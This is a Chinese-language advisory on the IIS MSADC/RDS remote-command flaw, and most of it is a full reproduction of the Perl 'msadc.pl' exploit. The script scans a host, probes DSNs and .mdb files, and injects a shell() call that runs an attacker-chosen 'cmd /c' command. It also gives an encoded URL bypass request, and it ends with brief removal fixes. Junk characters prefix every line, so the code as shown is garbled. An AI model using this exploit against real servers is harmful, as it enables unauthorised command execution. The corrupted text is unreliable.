IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~O7cUsAi' ?!Th-Cc&m 涉及程序:
B'[3kJ ' Microsoft NT server
&_Xv:? nd*!`P 描述:
3GuMiht5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Y/Gswcz !x!L&p 详细:
_dRn0<#1(k 如果你没有时间读详细内容的话,就删除:
VS@rM<K{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
85d7IB{28 有关的安全问题就没有了。
pCud`
:o" Q Kuc21 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
C[/Uy =kZwB*7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
HS|g
关于利用ODBC远程漏洞的描述,请参看:
P\G C8KV] tMs|UC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WZy6K(18"' #Z3I%bkw H 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9zM4D http://www.microsoft.com/security/bulletins/MS99-025faq.asp @bVh?T0~F, ";!1(xZr 这里不再论述。
e"&9G}.f
.ubbNp_LU 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Z+pvdu OM&\Mo /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Z ysUz 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
oXZ@* &rtz&}ZB; H1c|b!C #将下面这段保存为txt文件,然后: "perl -x 文件名"
aDJjVD WFc[F`b #!perl
'\vmfp= #
Ga/\kO)x_ # MSADC/RDS 'usage' (aka exploit) script
'_yk_[/ #
e+=G-u5}- # by rain.forest.puppy
RBp(dKxM$w #
-<HvhW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
QH?2v # beta test and find errors!
eRWF7`HH+ W*WH .1& use Socket; use Getopt::Std;
->#@rF:S getopts("e:vd:h:XR", \%args);
UOL%tT yl;$#aZB print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
JbD)}(G; wQ/@+$> if (!defined $args{h} && !defined $args{R}) {
]KV8u1H> print qq~
[T?6~^m= Usage: msadc.pl -h <host> { -d <delay> -X -v }
:^.8 7>V7 -h <host> = host you want to scan (ip or domain)
j$ i8@] -d <seconds> = delay between calls, default 1 second
wP *a>a -X = dump Index Server path table, if available
FYE9&{]h -v = verbose
!z6/.>QJ~ -e = external dictionary file for step 5
6'lT`E| [q|Q]O0 Or a -R will resume a command session
LRlk9:QD> ^V;lZtZ ~; exit;}
Ognq*[om q8yJW-GA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,%DAh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^=M(K '' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\(7# N<-
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>71w
#K $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
c3 ]^f6)? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dZ81\jdYv vWfef~}~ if (!defined $args{R}){ $ret = &has_msadc;
B(T4nH_k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+OuG!3+w \YF!< 2|[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5T@'2)BI= . "cmd /c ";
IXk'?9 $in=<STDIN>; chomp $in;
*/h9 "B $command="cmd /c " . $in ;
(HD>vNha1 9'L0Al~L if (defined $args{R}) {&load; exit;}
Q
X5#$-H@ thboHPml{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nf@u7*#6 &try_btcustmr;
U=1`. Ove `U>b6{K print "\nStep 2: Trying to make our own DSN...";
,OFr]74\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
MvwJ(3 K OHH74}_ print "\nStep 3: Trying known DSNs...";
dM;WG;8e &known_dsn;
1+ARV&bc 42[:s: print "\nStep 4: Trying known .mdbs...";
-Ce4px?3 &known_mdb;
cO?"
R$,iDv.jI if (defined $args{e}){
g.VIe print "\nStep 5: Trying dictionary of DSN names...";
tg`!svL! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2Mi;}J1C{ z:,!yU c print "Sorry Charley...maybe next time?\n";
*bC^X' exit;
}^bL' 3 AF]en ##############################################################################
|(8h:g w!k4&Rb3 sub sendraw { # ripped and modded from whisker
J0z0%p sleep($delay); # it's a DoS on the server! At least on mine...
">^]^wa08 my ($pstr)=@_;
>~8Df61o` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2gI_*fG1 die("Socket problems\n");
C+IE<=%F if(connect(S,pack "SnA4x8",2,80,$target)){
cr;`0 select(S); $|=1;
:iC\#i]6 print $pstr; my @in=<S>;
VNot4 62L select(STDOUT); close(S);
1:Gd{z return @in;
5"]2@@b4 } else { die("Can't connect...\n"); }}
c|a|z}(/J M!i5StGC ##############################################################################
b-/x [gY__ sub make_header { # make the HTTP request
(:muxby% my $msadc=<<EOT
lR3^&d72? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0'oT {iN User-Agent: ACTIVEDATA
RN3D:b+ Host: $ip
a<36`#N Content-Length: $clen
==r|]~x
Connection: Keep-Alive
oh)l\ /pN2Jst ADCClientVersion:01.06
W"@lFUi Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
P!ICno6[e bj^m<} --!ADM!ROX!YOUR!WORLD!
\Y 4Z Q"0Q Content-Type: application/x-varg
><7`$ 2Or Content-Length: $reqlen
RN|..zml ea+rjv m EOT
0)44*T ; $msadc=~s/\n/\r\n/g;
K0@7/*% return $msadc;}
Br!&Y9 JOq<lb= ##############################################################################
Q^Z}Y~. 3?(p; sub make_req { # make the RDS request
!AHm+C_=Lg my ($switch, $p1, $p2)=@_;
_q$fw& my $req=""; my $t1, $t2, $query, $dsn;
`roSOX1f O{R5<"g if ($switch==1){ # this is the btcustmr.mdb query
jG :R\D}0 $query="Select * from Customers where City=" . make_shell();
FI5C&d5d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?R} oXSVT $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
s~w+bwr L,/i%-J3c elsif ($switch==2){ # this is general make table query
C^tC} n1D( $query="create table AZZ (B int, C varchar(10))";
_4]dPk#^ $dsn="$p1";}
l
d9#4D[# pwC/&bu elsif ($switch==3){ # this is general exploit table query
#4u; `j"4= $query="select * from AZZ where C=" . make_shell();
zghm2{:`?g $dsn="$p1";}
qm8RRDG d2C:3-4 elsif ($switch==4){ # attempt to hork file info from index server
TZ2f-KI $query="select path from scope()";
B6oAW ,3 $dsn="Provider=MSIDXS;";}
OK}"|:hrd F#wa)XH elsif ($switch==5){ # bad query
z+I-3v $query="select";
5al{[mi $dsn="$p1";}
=SnR9In &O)mPnx` $t1= make_unicode($query);
w}b+vh^3Wy $t2= make_unicode($dsn);
PEl]HI_H $req = "\x02\x00\x03\x00";
7A-rF U$ $req.= "\x08\x00" . pack ("S1", length($t1));
7mNskb| $req.= "\x00\x00" . $t1 ;
^*Fkt(ida $req.= "\x08\x00" . pack ("S1", length($t2));
W'$~mK\ $req.= "\x00\x00" . $t2 ;
`s $@6r$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6u}NI!he return $req;}
7:%K-LeaQu }VRo: sJb ##############################################################################
5i?U- 0=DawJ9 sub make_shell { # this makes the shell() statement
<H/H@xQ8G return "'|shell(\"$command\")|'";}
5?MvO]_ t |h mEHUk ##############################################################################
bwFc>{Wo5 !Ua#smZ sub make_unicode { # quick little function to convert to unicode
u<zDZ{jt) my ($in)=@_; my $out;
u{,^#I} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}D O# {@af return $out;}
0iHI"9z 5ntP{p%> ##############################################################################
zL'n
J dr o42#$Mo sub rdo_success { # checks for RDO return success (this is kludge)
op C11c/ my (@in) = @_; my $base=content_start(@in);
|M_Bbo@ud if($in[$base]=~/multipart\/mixed/){
48`<{|r{ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1<"kN^ return 0;}
f7s.\ Dn?L ##############################################################################
;4IP7$3G c[$oR,2b13 sub make_dsn { # this makes a DSN for us
L)5nb-qp my @drives=("c","d","e","f");
BKEB,K=K@ print "\nMaking DSN: ";
O7sn>uO foreach $drive (@drives) {
;}qCIyuO] print "$drive: ";
+h/$_5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
O.dNhd$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
/'(P{O>{j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`h'^S,'* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(I5ra_FVs return 0 if $2 eq "404"; # not found/doesn't exist
=l+p nG if($2 eq "200") {
ngjbE+ foreach $line (@results) {
m.*+0NG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Q~kwUZ } return 0;}
%XeU4yg\e .YkKIei ##############################################################################
;xc TxWjgW~ sub verify_exists {
;`+,gVrp my ($page)=@_;
HChewrUAn my @results=sendraw("GET $page HTTP/1.0\n\n");
49m/UeNZ return $results[0];}
GFidriC ES> 3Cf ##############################################################################
~0NZx8qG ')+EW"
e sub try_btcustmr {
I}=}S"v my @drives=("c","d","e","f");
[% jg;m my @dirs=("winnt","winnt35","winnt351","win","windows");
2i)y'+s 1"k@O)?JP foreach $dir (@dirs) {
:Us-^zVr print "$dir -> "; # fun status so you can see progress
x@~V975Y foreach $drive (@drives) {
9[!
Hz)|X print "$drive: "; # ditto
rd RX $reqlen=length( make_req(1,$drive,$dir) ) - 28;
".u?-xcbJ $reqlenlen=length( "$reqlen" );
0AEs+= $clen= 206 + $reqlenlen + $reqlen;
gyK"#-/_d K*<n<;W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9=SZL~#CE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
L!Ro`6|7; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D-.>Dw: @'<|B. f ##############################################################################
82vx:*Ip!} a_yV*N`D sub odbc_error {
i@RjG my (@in)=@_; my $base;
}bVyvH my $base = content_start(@in);
SZPu"O\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tv2dyC&a $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9HE)!Col $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SYL$?kl $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;P_Zen return $in[$base+4].$in[$base+5].$in[$base+6];}
"J9+~)e^! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
SXL6)pX print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
BzZy s $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*;m721# '54@-}D ##############################################################################
f
{
ueI< BSz\9 eT sub verbose {
e.T5F`Du my ($in)=@_;
ZDf9Npe return if !$verbose;
2g$Wv :E3 print STDOUT "\n$in\n";}
&}FYz8w 2/ gLH(Wr~(a ##############################################################################
z 4-wvn<* t^'1Ebg sub save {
DM&"oa50 my ($p1, $p2, $p3, $p4)=@_;
#FcYJH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
CeQcnJU print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X DX_c@U close OUT;}
,'j5tU?c ;@L#0 ##############################################################################
ObCwWj^qO %>.v[d1c sub load {
bQ)r8[o!
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+G~b-} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
qH
~usgqB7 @p=<IN>; close(IN);
X[w9~t$\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-zkB`~u_ $target= inet_aton($ip) || die("inet_aton problems");
QUNsS9 print "Resuming to $ip ...";
QNo}nl/N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<L-L}\-I" if($p[1]==1) {
tx@Q/ou`\P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
pmS=$z;I $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5v3B8 @CsA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n RGH58 if (rdo_success(@results)){print "Success!\n";}
$` else { print "failed\n"; verbose(odbc_error(@results));}}
S("bN{7nE elsif ($p[1]==3){
& mWq'h if(run_query("$p[3]")){
YS]RG/' print "Success!\n";} else { print "failed\n"; }}
DlP}Fp { elsif ($p[1]==4){
4-m%[D
|W if(run_query($drvst . "$p[3]")){
3FdoADe{{ print "Success!\n"; } else { print "failed\n"; }}
j% nd exit;}
>3bpa<M_ ji2#O. ##############################################################################
WC4Il
C FKQnz/ sub create_table {
u4"+u"{d my ($in)=@_;
W+#?3s[FV $reqlen=length( make_req(2,$in,"") ) - 28;
@MM|.#
~T $reqlenlen=length( "$reqlen" );
K!9=e7|P $clen= 206 + $reqlenlen + $reqlen;
m$^7sFD$ my @results=sendraw(make_header() . make_req(2,$in,""));
mVkn~LD:0 return 1 if rdo_success(@results);
=4I361oMf my $temp= odbc_error(@results); verbose($temp);
~`BOzP return 1 if $temp=~/Table 'AZZ' already exists/;
6Z"%vrH return 0;}
+)|2$$m {p-%\nOC ##############################################################################
X;1q1X)K ;2iZX=P`n sub known_dsn {
$5A XE;~{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
vfj Ipg%i my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
L?P8/]DGp "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
UYPBKf]A9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
MMf6QxYf \DHCf4, foreach $dSn (@dsns) {
=nsY[ s< print ".";
*~vRbD$q next if (!is_access("DSN=$dSn"));
d+^;kse if(create_table("DSN=$dSn")){
YZk& 'w print "$dSn successful\n";
n0m9|T& if(run_query("DSN=$dSn")){
cO8;2u,Gvi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i{8=; print "Something's borked. Use verbose next time\n";}}} print "\n";}
[bcqaT eQc!@*:8U ##############################################################################
enNn*.*| N*x gVj* sub is_access {
^;2L`U@5 my ($in)=@_;
\)v.dQ! $reqlen=length( make_req(5,$in,"") ) - 28;
8(A:XQN"h $reqlenlen=length( "$reqlen" );
!nu['6I% $clen= 206 + $reqlenlen + $reqlen;
o
ZAjta_4 my @results=sendraw(make_header() . make_req(5,$in,""));
+n:#Uf) my $temp= odbc_error(@results);
@@5u{K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
giTlXz3D9 return 0;}
ABSeX A=])pYE1 ##############################################################################
sq^,l6es> A@#dv2JzP sub run_query {
0'~?u ' my ($in)=@_;
M$GD8|*e $reqlen=length( make_req(3,$in,"") ) - 28;
wD<G+Y} $reqlenlen=length( "$reqlen" );
o ).pF">jh $clen= 206 + $reqlenlen + $reqlen;
U` U/|@6 my @results=sendraw(make_header() . make_req(3,$in,""));
N\0Sq-.
return 1 if rdo_success(@results);
OS,$}I[`8 my $temp= odbc_error(@results); verbose($temp);
t
_W |` return 0;}
H!A^ MI Oe#k| ##############################################################################
"Vh(%N`6 9qPP{K,Pq2 sub known_mdb {
+]{X-R my @drives=("c","d","e","f","g");
Y~C S2%j my @dirs=("winnt","winnt35","winnt351","win","windows");
EKt-C_)U my $dir, $drive, $mdb;
eDm,8Se my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=SdWU}xn2 XyI w5
9 # this is sparse, because I don't know of many
i^>
RjR my @sysmdbs=( "\\catroot\\icatalog.mdb",
*qqFIp^ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@s/ qOq? "\\system32\\certmdb.mdb",
h"'f~KM9a> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,P:.' 4>|5B: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9GEcs(A* "\\cfusion\\cfapps\\forums\\forums_.mdb",
`+gF|o9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4e(@b3y "\\cfusion\\cfapps\\security\\realm_.mdb",
Uag1vW,c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
rfZA21y{? "\\cfusion\\database\\cfexamples.mdb",
F7hQNQu: "\\cfusion\\database\\cfsnippets.mdb",
|&'*Z\*ya "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
M]2 c- "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
F lZ]R "\\cfusion\\brighttiger\\database\\cleam.mdb",
2.[qcs3zl "\\cfusion\\database\\smpolicy.mdb",
V^ :\/EU "\\cfusion\\database\cypress.mdb",
DXiD>1(q "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
zf!c "\\website\\cgi-win\\dbsample.mdb",
WX[ycm8 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
zEGwQp< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
gV7o
eZ5 ); #these are just
q8D1MEBL` foreach $drive (@drives) {
[brrziZ foreach $dir (@dirs){
xq{4i|d) foreach $mdb (@sysmdbs) {
'=2t(@aC print ".";
iO@wqbg$6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
c1/x,1LnMf print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
uqn Z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0eLK9u3< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^\I$tnY` } else { print "Something's borked. Use verbose next time\n"; }}}}}
?{2-,M0 ALv\"uUNu+ foreach $drive (@drives) {
-7`J(f.rYC foreach $mdb (@mdbs) {
4{R` print ".";
n5i}J/Sa2 if(create_table($drv . $drive . $dir . $mdb)){
k8ck#%#}Wu print "\n" . $drive . $dir . $mdb . " successful\n";
0QpWt if(run_query($drv . $drive . $dir . $mdb)){
E%'DIs print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yx-"YV}5 } else { print "Something's borked. Use verbose next time\n"; }}}}
-"<f( }
V1fPH; B8&@Qc@~ ##############################################################################
okv7@8U#p ~!;3W!@(E sub hork_idx {
S6QG:|#P print "\nAttempting to dump Index Server tables...\n";
mvw:E_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
joG>=o $reqlen=length( make_req(4,"","") ) - 28;
NplSkv $reqlenlen=length( "$reqlen" );
!9
F+uc5 $clen= 206 + $reqlenlen + $reqlen;
U}7[8&k1 my @results=sendraw2(make_header() . make_req(4,"",""));
pGFocw if (rdo_success(@results)){
t0q@]
0B5 my $max=@results; my $c; my %d;
7^L&YVW for($c=19; $c<$max; $c++){
S]N4o'K}q $results[$c]=~s/\x00//g;
kel {9b=i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
PEWzqZ|!; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$Yka\tS' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]'G7(Y\)f $d{"$1$2"}="";}
d
!H)voX foreach $c (keys %d){ print "$c\n"; }
:NLN xK } else {print "Index server doesn't seem to be installed.\n"; }}
*O;N"jf
Nm~#$orI| ##############################################################################
*}J_STM w&{J9'~ sub dsn_dict {
_=] FJhO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cMg/T.O while(<IN>){
q
mB@kbt $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
g9XtE next if (!is_access("DSN=$dSn"));
.EcM n if(create_table("DSN=$dSn")){
|2# Ro* print "$dSn successful\n";
u;!Rv E8N if(run_query("DSN=$dSn")){
`+uXL9mo print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J3]m*i5A print "Something's borked. Use verbose next time\n";}}}
$enh45Wy print "\n"; close(IN);}
;w>B}v;RE <wC1+/] ##############################################################################
b$`O|S .phQ7":` sub sendraw2 { # ripped and modded from whisker
^wlep1D
sleep($delay); # it's a DoS on the server! At least on mine...
J0 P my ($pstr)=@_;
PG!vn@b6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_X[c19q die("Socket problems\n");
<fJ\AP5 if(connect(S,pack "SnA4x8",2,80,$target)){
vpDs5tUl print "Connected. Getting data";
hG^23FiN open(OUT,">raw.out"); my @in;
,zFN3NLtA select(S); $|=1; print $pstr;
xpM~*Gpm while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)N<!3yOz close(OUT); select(STDOUT); close(S); return @in;
4pqZ!@45| } else { die("Can't connect...\n"); }}
AMdS+(J hs4r5[ ##############################################################################
wOOPWwk |>4 { 4 sub content_start { # this will take in the server headers
\K6J{;# L my (@in)=@_; my $c;
p!ErH]lH for ($c=1;$c<500;$c++) {
kQ8WO|bA if($in[$c] =~/^\x0d\x0a/){
tpN}9N if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
UwU]l17~ else { return $c+1; }}}
UL%ihWq return -1;} # it should never get here actually
[7V]=] p AqkK`iJ# ##############################################################################
fW
_. 0=B5
=qyw sub funky {
gISs+g my (@in)=@_; my $error=odbc_error(@in);
${wE5^ky if($error=~/ADO could not find the specified provider/){
MeX1y]<It print "\nServer returned an ADO miscofiguration message\nAborting.\n";
BpT&vbY exit;}
[_d*J/ X if($error=~/A Handler is required/){
GN0'-z6Uy print "\nServer has custom handler filters (they most likely are patched)\n";
5b,98Q exit;}
'_)tR;s if($error=~/specified Handler has denied Access/){
0^[6 print "\nServer has custom handler filters (they most likely are patched)\n";
i"xDQ$0G6 exit;}}
7%"7Rb^@ bSLj-vp ##############################################################################
R{_IrYk 8H?AL
RG sub has_msadc {
B5G$o{WM my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
}^7V^W my $base=content_start(@results);
/3]|B%W9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3)Y:c2 return 0;}
<.ky1aex7 z7C1&bGe ########################
=*jcO119L x3|'jmg v=VmiBq[ 解决方案:
b`zf&Mn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}c%y0)fL 2、移除web 目录: /msadc